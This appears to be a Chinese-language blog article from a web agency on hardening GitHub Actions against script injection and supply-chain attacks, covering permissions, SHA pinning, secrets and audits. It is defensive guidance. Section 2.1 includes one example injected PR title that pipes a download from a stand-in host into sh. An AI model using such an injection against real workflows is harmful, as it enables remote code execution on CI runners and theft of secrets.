GitHub Actions安全加固:防供应链攻击与脚本注入实战指南

发布时间:2026/10/3 9:53:11
GitHub Actions安全加固:防供应链攻击与脚本注入实战指南 跑了好几年 GitHub Actions我最深的感受是大部分团队的安全注意力都集中在代码仓库、依赖库和部署凭证上却很少有人认真审视工作流本身。而供应链攻击和脚本注入这两个词恰恰是 GitHub Actions 安全加固里最容易被低估、也最致命的两块拼图。这篇文章不聊那些大而全的安全理论只讲我实际踩过的坑、补过的洞以及我现在每天都在用的加固思路适合所有用 Actions 做 CI/CD 的团队和独立开发者参考。先说结论GitHub Actions 的安全加固并不等于把 secrets 藏好。真正要管住的是工作流如何被触发、如何被执行、如何信任第三方代码、以及这份信任在什么边界下会变成突破口。接下来我会从威胁分布开始一层一层拆到具体配置。1. 先认清威胁分布GitHub Actions 的安全边界1.1 为什么工作流会成为供应链攻击的高价值目标供应链攻击这个词听起来很宏大但在 GitHub Actions 场景里它其实非常具体攻击者不需要攻破你的代码仓库只要能让 CI 执行一段恶意代码、或者把一个被篡改的依赖送进构建产物后续的整个发布链路就全被污染了。为什么 CI 攻击的性价比这么高因为构建环境里天然躺着三样东西源代码、依赖缓存、部署凭证。任何一个被拿下都能顺着链条继续渗透。我在不少团队里做过排查发现一个很普遍的误区大家把精力都花在 review 代码和锁依赖版本上却把 CI 工作流当成“内部工具”不管不看。实际上工作流文件是仓库里的一份代码它决定构建、测试、打包、推送这一整套环节的行为。这份代码一旦被恶意修改或者被恶意输入诱导执行那么业务代码再干净也没用——发布出去的制品已经不再是大家 review 过的那份制品了。还有一点很多人没想到GitHub Actions 的上下文信息来自外部事件。PR 标题、issue 评论、分支名、commit message这些内容都有可能被攻击者控制。工作流如果直接把这些内容拼进 shell 命令等于把输入设备递到了攻击者手上。风险和“把用户输入拼进 SQL 查询”是同构的只不过这里影响的是构建机而不是数据库。所以我一直觉得Actions 安全加固的核心思路和 Web 安全高度相似先缩小信任边界再管住输入输出最后才是密钥和权限。1.2 供应链攻击在 Actions 链路中的四个环节要把防护做到位先得把“链路”画清楚。我通常会把一条工作流拆成四个环节每个环节都有可能被攻击者利用。第一个环节是触发源。仓库里的 push、pull_request、issue_comment、workflow_dispatch这些事件都带外部可控的数据。尤其是 fork 仓库发来的 pull request事件内容完全不可信。第二个环节是工作流定义本身。谁有权限修改.github/workflows下的文件如果任何人都能改那供应链基本是敞开的。第三个环节是第三方 Action。市场里大量 Action 是社区维护的版本的动态引用、维护者的账号安全、依赖嵌套任何一点都可能翻车。第四个环节是运行时环境也就是 runner。托管 runner 每次是全新机器自托管 runner 则长期驻留在你的网络里一旦被恶意代码拿下它就能横向移动。这四个环节不是独立存在的。一次典型的攻击可能从触发源注入一段数据借脚本注入控制第三步的某个环节然后在第四步拿到凭证。所以加固工作也要分层推进不能只处理其中一环。后面我讲到的每块内容都会明确对应这里的某个环节方便大家对照着自己的仓库做检查。2. 最容易失守的入口脚本注入与上下文利用2.1 注入点事件上下文被拼进 Shell 的瞬间脚本注入Script Injection在 GitHub Actions 里的本质非常朴素工作流的 run 字段会包含 GitHub 表达式比如${{ github.event.pull_request.title }}、${{ github.head_ref }}。这些表达式在 shell 执行前会被替换成对应的值然后整段内容交给 bash 执行。问题就出在“替换”这个动作上。假如你在工作流里写了这样一句话echo PR title: ${{ github.event.pull_request.title }}看起来没什么问题提交 PR 时会正常打印标题。但如果攻击者把 PR 标题写成hello; curl malicious.example | sh; echo 替换后这一行会变成多条 shell 命令攻击者的代码就在 CI 环境里执行了。这就是典型的脚本注入。而且这并非只是理论风险我在实际维护开源项目时就见过有人通过 issue 标题、PR 描述这些“看起来只是文本”的地方做探测。你能想象到的最不起眼的字段比如 commit message 里的换行符都可能成为注入入口。更隐蔽的是注入后的执行时机往往比预期更早。GitHub Actions 的表达式展开是逐层进行的在 step 的run里展开一次在env里也可能展开一次甚至在 matrix 配置里也会展开。很多时候你以为数据只是“被存起来了”其实它已经提前进入了 shell 执行路径。这就是为什么我到现在都不鼓励在 run 里直接书写未经处理的表达式——即使加上引号碰到换行和分号也没有一个引号能救得回来。2.2 两组典型风险场景与应对策略先说第一组pull_request_target事件。很多人会用它在 PR 里安全地读取 secrets、做评论、或自动打标签。它的设计初衷是“以目标分支的代码来运行工作流”避免 fork 的代码篡改工作流。听起来安全但如果工作流里 checkout 的是 PR 的代码那这份恶意代码就会以目标分支的身份、带着完整 secrets 执行。我见过最经典的做法是工作流只 checkout 了 PR 分支里的脚本然后运行它结果 fork 的 PR 直接把 CI 劫持了。对pull_request_target我的建议很简单能不碰就不碰。如果你必须用那就绝对不要 checkout 并运行 PR 里带来的文件。理想的用法是把 PR 的元数据传给一个可控的脚本或者用两步完成——先在工作流定义自带的代码里做校验再以数据方式读取 PR 分支的内容而不是直接执行它。第二组把事件上下文字段当作命令参数。比如用github.event.issue.title作为评论模板参数、用 head_ref 拼接 Docker 镜像标签。这类场景的处理原则只有一个任何外部数据都先落到环境变量再通过环境变量引用不要直接嵌进命令行。GitHub 官方文档强调“不把表达式直接写入 shell”我建议把它当成必须遵守的纪律。我现在的实际做法是把需要传递的数据统一交给一个“通道”。比如 PR 标题要使用就先定义 envenv: PR_TITLE: ${{ github.event.pull_request.title }}然后在 run 里只用$PR_TITLE。这样一来数据就只作为环境变量存在shell 不会把它解析成命令。更严格一点我会再加一层 JSON 编码处理把特殊字符全部转义确保即使有反引号、分号、$()也不会构成实际影响。这其实是动态防御的思路不赌输入里有没有恶意字符而是从机制上让恶意字符无处执行。2.3 输入清洗的三条铁律从上面这些案例里我提炼出了三条直接可用的规则适用于任何把外部数据接入工作流的场景。第一条事件数据默认不可信。无论来自 fork 还是同一个仓库里的 issue只要是外部输入都要假设它可能携带恶意内容。代码 review 可以解决一部分问题但保险不能只靠 review。第二条不把表达式直接写进 run。任何需要进入 shell 的数据先经过env或$GITHUB_ENV用环境变量的方式间接引用。如果数据需要进文件用toJSON序列化之后再解析不要用 echo 拼字符串。第三条输出即检查。工作流的每一步日志都是可审计的。如果某个步骤的日志里出现了奇怪的命令展开立刻回溯是哪条数据带进来的。我后来养成了一个习惯打开 Actions 日志时先看“展开后实际执行的 shell 内容”而不是只看 run 字段的原文。这一步能发现很多注入尝试尤其是那些被换行符拆开的多段命令。3. 第三方 Action 与依赖供应链加固3.1 Action 可信度的三层判断第三方 Action 是 GitHub Actions 生态最方便的优势也是最危险的盲区。我用一条工作流时会引入十几个 Action如果每个 Action 都是动态版本引用那我实际上是把整个构建过程的安全性押在十几个第三方维护者身上。判断一个 Action 是否可信我分三层看。第一层是来源。GitHub 官方组织发布的 Actions比如actions/checkout、actions/setup-node优先级最高其次是 GitHub 认证的合作伙伴。第二层是维护活跃度。我习惯看最近三个月有没有 commit、有没有处理 issue、发布频率如何。一个长期不维护的 Action 等于定时炸弹它的旧版本可能带着早已公开的漏洞。第三层是流行度和代码审查。Stars 高不代表安全但至少说明用的人多问题暴露概率高。社区里那些被大规模使用的 Action通常会被安全研究者反复看代码资源攻击者反而没有太大空间。可以在动手之前先查一遍你也可以把用到的 Action 记录到一个文档里每次引入新的都做一次“准入审核”。这个动作不复杂但它能帮你建起一个最基本的供应链台账。3.2 固定版本与自动更新的搭配引入第三方 Action 时版本引用有四种常见写法动态 tag、完整语义化版本、短 SHA、完整 SHA。我强烈建议只使用完整 SHA。原因很简单动态 tag 和版本号都可能被维护者误推送或恶意更新而完整 SHA 把代码锁定在不可变点位上除非仓库整体被攻陷否则不会变化。你可能会担心锁定 SHA 后没法升级了。其实可以搭配 Dependabot 解决。Dependabot 对 GitHub Actions 有专门支持它会监控工作流里的引用发现完整 SHA 对应的版本有新版本时自动提交一个 PR把 SHA 更新到新版并保留注释信息。这样一来固定 SHA 不阻碍更新更新又必须经过 PR review绕开了“自动拉新版本”的风险。我目前的标准写法是这样的- uses: actions/checkoutb4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1把版本号放在注释里方便人眼确认当前用的是什么语义化版本而程序执行时只认 SHA。有一个细节Dependabot 默认也能识别带注释的固定 SHA所以升级流程依然顺畅。每次看到 PR 更新了 Action 的 SHA我都会顺手去该 Action 仓库对比一下代码变更确认没有引入奇怪的网络请求、没有新增不必要的高权限步骤再合并。3.3 自托管 runner 带来的额外风险如果说托管 runner 是一台用完即焚的临时机器那自托管 runner 就是一台长期驻留在内网的“永久居民”。它的价值很高可以访问内网服务、复用缓存、降低成本但风险也指数级上升——一旦工作流被执行恶意代码runner 本身就成了攻击者的立足点。我见过不少团队把自托管 runner 直接跑在能访问数据库、生产环境的机器上这等于给供应链攻击铺好了最后一公里。我的建议就一句话自托管 runner 必须与核心网络隔离。比如单独划一个 VLAN只放行必要的构建工具链和镜像仓库不让它直连业务内网。如果既想用自托管的速度又不想承担风险可以选短期运行的容器 runner任务结束时整个环境销毁横向移动面小很多。还要特别注意自托管 runner 上不要放持久化的密钥文件。即使用环境变量注入 secrets恶意代码也能在运行期间读取。真正稳妥的姿势是runner 本身默认不被信任所有敏感操作通过短效凭证完成用完即失效。这也是动态防御在运行时环境里的延伸——让凭证只活在需要的那几分钟里。4. 权限模型与密钥防护4.1 最小权限原则落到工作流的具体表现“最小权限”这句话大家都会说但落到 GitHub Actions 时容易遗漏一个关键维度工作流本身也是代码它也会被修改、被滥用。所以权限模型要从两个方向同时收口——一方面限制工作流运行时的权限另一方面限制“谁能修改工作流定义”。限制运行时权限的第一步是每个 job 都显式声明permissions。不要指望仓库默认设置帮你兜底默认值可能比你以为的要宽。显式声明后这个 job 能访问的 scope 一目了然review 的人也能立刻发现某个 job 为什么突然要写权限。限制修改者的第二步是对.github/workflows/目录设置 CODEOWNERS。我倾向于把 workflow 文件的变更强制分配给安全责任人或 CI 负责人要求必须经过他们的 review 才能合并。这一步在大型团队里尤其重要——很多攻击面不是外部黑客打开的而是内部某个着急发版的同事顺手改坏的。最小权限还有一个很实在的好处当工作流被注入时它的破坏半径是被权限框死的。权限只有contents: read的 job即使脚本被恶意控制它也只能读代码写不了 Release动不了 secrets。很多时候“反正都防不住注入让注入的收益降到最低”才是最深的防御逻辑。4.2 GITHUB_TOKEN 的默认收缩与按需放行每个工作流运行时GitHub 会自动生成一个 GITHUB_TOKEN用于访问仓库 API。这个 token 的默认权限曾经是写权限很多老仓库到现在还停留在那个状态。我建议第一步就是去仓库 Settings 里把工作流权限改成只读。具体路径是Settings → Actions → General → Workflow permissions → 选择 Read repository contents and packages permissions。这个修改只影响后续的运行历史 token 不受影响所以可以放心改。但这只是开始。真正细的活是每个 job 里重新声明权限。举个实际例子一个 job 只需要读代码另一个 job 需要创建 Release。那就让前一个 job 只给contents: read后一个 job 单独给contents: write。不要图省事把所有权限堆在顶层也不要相信“反正只有一个 job”。我处理过不少事故都是顶层权限过宽导致某个低安全要求的 job比如 Lint被注入后也能顺手删除仓库里的 tag。还有一个关键点pull_request_target场景下 GITHUB_TOKEN 的默认值是从目标分支继承的所以触发条件越宽风险越大。如果某个工作流底层的 token 具备写权限那这个工作流会变成所有 fork 攻击的首要目标。把“允许写操作的工作流”和“处理外部事件的工作流”彻底分开是我目前推荐的最佳实践。4.3 密钥使用的两个关键原则secrets 是脚本注入攻击的最终目标。很多团队把 secrets 一股脑配在工作流级别任何 job 都能读取。这等于把所有鸡蛋放在同一个篮子里。我后来给自己定了一条规矩secrets 的可见范围必须和 job 的职责完全对齐。只有负责部署的 job 能看到生产 secrets测试 job 永远拿不到。第一个原则是不要把 secrets 全量注入到全局 env。如果你在顶层写了env: PROD_KEY: ${{ secrets.PROD_KEY }}那么这个仓库里所有 job 的所有 run step 都能访问它。正确的做法是把 secrets 就近放进需要它的 job 或 step 的 env 里。这样即使某个 job 被注入攻击者能拿到的也只是那个 job 本应持有的权限。第二个原则是给关键部署配置环境保护规则。GitHub Environments 可以限制哪些分支能部署、哪些 secret 在什么环境里才生效、以及是否要求人工审批。对生产环境的部署 job我会设置environment: production把生产 secrets 挂到该环境下面。这样就算有人在本地随便 push 一个分支触发工作流部署 job 也会因为分支不匹配而直接失败secrets 根本不会出现在 runner 上。密钥轮换也别忘了。我现在的习惯是每次做权限收缩或者修改工作流引用之后顺手把关键 secrets 重新生成一遍。成本不高却能确保旧泄露不会继续起作用。5. 完整加固实操从审计到落地5.1 第一步跑一遍现有的 workflow 做全面体检接手一个仓库的 Actions 安全时我不会直接改配置而是先做一遍完整审计。主要看几个方面哪些事件能触发工作流哪些 job 涉及 secrets哪些地方引用了第三方 Action有没有使用pull_request_target权限声明是否收敛以及是否有人通过 dispatch 按钮手动触发生产流程。实际操作中我会用 gh CLI 拉一遍工作流清单和最近运行记录再用 grep 快速扫描仓库里的配置# 查看最近运行记录 gh run list --limit 20 # 搜索所有 workflow 文件中是否有高风险触发/引用 grep -rn pull_request_target .github/workflows grep -rn uses: .github/workflows grep -rn secrets\. .github/workflows这些命令不复杂但能快速暴露问题。比如发现某个 workflow 同时满足“pull_request_target checkout PR 分支 访问 secrets”这三个条件那基本就是高风险中的高风险需要立刻处理。审计时不要只看文件名还要注意 workflow 是否被拆分成了可以复用的模块。可复用的 workflow 本身也是一种攻击面——被复用的公共 workflow 如果权限过宽所有引用它的上层 workflow 都会继承这种风险。连线要画出来谁调用了谁谁最后能碰生产一定要清清楚楚。5.2 第二步用最小成本补齐关键防护审计完往往会发现一堆问题我不建议一次性推翻重写。因为改动面越大引入回归的风险越高。我习惯按“风险等级”分两三个批次处理。优先级最高的是脚本注入和权限过宽。脚本注入的修复方法是把 run 里所有直接引用的事件上下文改成环境变量这一个动作几乎不需要改逻辑只改传参方式。比如原来在 run 里直接拼 PR 标题现在就改成- name: 处理 PR 标题 env: PR_TITLE: ${{ github.event.pull_request.title }} run: | echo $PR_TITLE /tmp/pr_title.txt # 后续逻辑读取文件或环境变量权限过宽的修复是给每个 job 加显式 permissions。以常见的测试 job 为例如果它只需要读代码那就只给它读jobs: test: permissions: contents: read对需要使用 API 写操作的 job再单独提权。这一步改完整个工作流的潜在破坏半径瞬间缩小。第三个修复项是第三方 Action 的 SHA 固定。如果工作流里大量使用版本 tag把它逐个替换成完整 SHA。这个过程可以交给 Dependabot 的批量 PR 来做也可以手动改核心是让 CI 的可信依赖都被锁定。还有一个小但实用的修复给 workflow 的关键流程增加兜底保护比如发布 job 必须限定分支和 tag。这个条件通常在if里写但容易被忽略。明确加上之后即使有人误触发或恶意触发也会在第一步就被挡下来。5.3 第三步建立持续监督机制加固不是一次性工作它是持续对抗。我自己的经验是光靠人肉审查迟早会有漏网之鱼必须引入自动化监督同时把人对 workflow 变更的关注度保持住。自动化层面我至少会做三件事开启 Dependabot 监控 GitHub Actions 的依赖更新设置 CODEOWNERS 强制 workflow 变更需要负责人的 review再叠加分支保护规则禁止直接 push 到主分支。这三件事的成本都很低但能挡住大部分“默认就有的风险”。人肉层面我建议每季度做一次工作流审计把新引入的 Action、新加的 secrets、新放开的事件触发全部过一遍。还要留意 GitHub 的管理后台日志。仓库的 Audit log 里会记录工作流的创建、修改以及谁改了分支保护规则。如果有人偷偷改了 workflow 然后又改回去表面看不出痕迹但审计日志里一定留痕。这也是我理解的“动态防御”在 CI 安全里的具体体现不依赖某个静态规则一劳永逸而是持续观察行为变化一旦出现异常动作立刻有人工介入的通道。静态加固挡板挡不住所有攻击动态的监控和审查才能真正兜底。6. 常见问题与排查技巧实录6.1 加固后工作流反而失败的几个原因权限收窄之后最常见的失败就是 403。比如某个 job 原来能在 PR 上打标签收窄成只读后这个操作会被拒绝。错误信息往往是Resource not accessible by integration。看到这个先别急着把权限改回去应该检查这个 job 是否真的需要写权限如果确实需要就把权限上升到单 job 级别不要重新放开全局。第二个常见问题是脚本注入修复时把字符串改坏了。比如用环境变量传值时没有处理多行文本结果变量内容带了一个换行导致后续命令被截断。这类问题的解法是统一用 JSON 编码后再传到 run 里再解码。虽然多写两行但消除了大量边界问题。第三个问题是pull_request_target的行为变化。有些团队原本依赖它执行某些自动操作加固后发现“对 fork 的 PR 不再执行任何步骤”其实是因为加了分支判断或权限限制。这反而说明规则生效了后续需要做的是把原本要在pull_request_target里做的操作拆成一个安全版本和一个不可信版本而不是盲目放行。第四个问题是 Dependabot 更新 SHA 时识别不了注释版本。原因是注释格式不标准Dependabot 要求注释和 SHA 在同一行、以# v版本号结尾。格式不对就不会更新要按官方规范写。6.2 遇到告警如何快速定位GitHub 偶尔会在 Actions 页面或安全中心给出告警但真正精确的排查还是要靠日志。我的定位顺序通常是这样的先看触发来源。工作流的运行页会显示 event 类型、分支、actor。如果来源是 fork 的 PR那优先怀疑 event 里带来的数据。再看失败或异常的 step把 run 展开成实际执行的 shell 内容对照看看有没有非预期的命令。如果发现注入立刻查这个 step 用了哪些上下文变量是哪一份数据带进来的。然后看 secrets 的暴露面。打开 job 的日志检查有没有 secret 被 mask 的痕迹。GitHub 会自动把 secrets 的明文从日志里打码成***如果你在日志里看到某个***出现在不该出现的位置说明有代码尝试读取或打印它。如果问题发生在生产部署环节还要回溯“这次运行是从哪个 workflow 文件定义来的”。工作流文件本身可能被改了用 git blame 查看对应行再对照最近合并的 PR很快就能定位责任人。这一套流程走下来绝大多数异常都能在半小时内搞清楚来龙去脉。6.3 一些实用命令与日志阅读习惯最后分享几个我一直在用的命令和习惯。在日常维护里我会习惯性打开仓库的 Settings → Actions看看工作流是否有变化同时看一眼 Audit log 有没有异常的规则改动。命令行方面这几个命令我很常用# 查看某个 workflow 的最近状态 gh run list --workflowci.yml --limit 10 # 查看分支保护规则 gh api repos/OWNER/REPO/branches/main/protection # 查看仓库审计日志需要管理员权限 gh api orgs/OWNER/audit-log --paginate日志阅读习惯上我给大家一个建议不要把 Actions 的日志当成普通输出随便刷要养成“关注 step 头和实际命令”的习惯。看到日志里有一大片***先停下来想想为什么会有 secrets 出现在这个位置看到某个 step 的执行时间异常长也要警惕是不是有额外代码在运行。这种敏感性是几次踩坑之后练出来的也是我觉得每个 CI 责任人最应该具备的能力。我个人在实际加固中的体会是GitHub Actions 的安全问题从来不是某一个配置项能单独解决的。它是一套组合拳——用固定 SHA 管住第三方依赖用权限收缩管住运行时半径用输入转发方式管住脚本注入用审计和监控管住持续变化。每一步单拿出来都不难难的是把它们结合起来并坚持成为日常习惯。希望这篇内容能帮你把这些环节扎扎实实地落到自己的仓库里。

关于本文作者

来自尧图内容编辑团队

尧图内容编辑团队 内容团队

尧图内容编辑团队

本文由尧图网络内容编辑团队执笔。团队由资深项目经理、前端工程师与设计师组成,所有内容均来自亲手交付的真实项目,先讲清问题、再给出可落地的解法。尧图深耕北京网站建设十年,服务过京华建材集团、智造科技等各行业客户,把一线经验沉淀为可复用的行业观察。

  • 十年建站经验,覆盖建材、制造、服务、文创等
  • 项目经理把关选题与事实准确性
  • 工程师与设计师联合撰写专业细节
  • 统一编辑规范,保证文风与排版一致
  • 每月复盘转化数据,迭代选题方向

延伸阅读

相关资讯与近期热门内容

深度阅读推荐

建站决策前值得细读的三篇

网站改版的5个关键决策
2024-08-12

网站改版的5个关键决策

什么时候该改版、改到什么程度、如何避免流量掉光,京华建材集团改版复盘给出答案。

获取专属建站方案

看完文章,把您的行业与预算告诉我们,免费获取一份量身定制的官网建设方案与报价。

立即免费咨询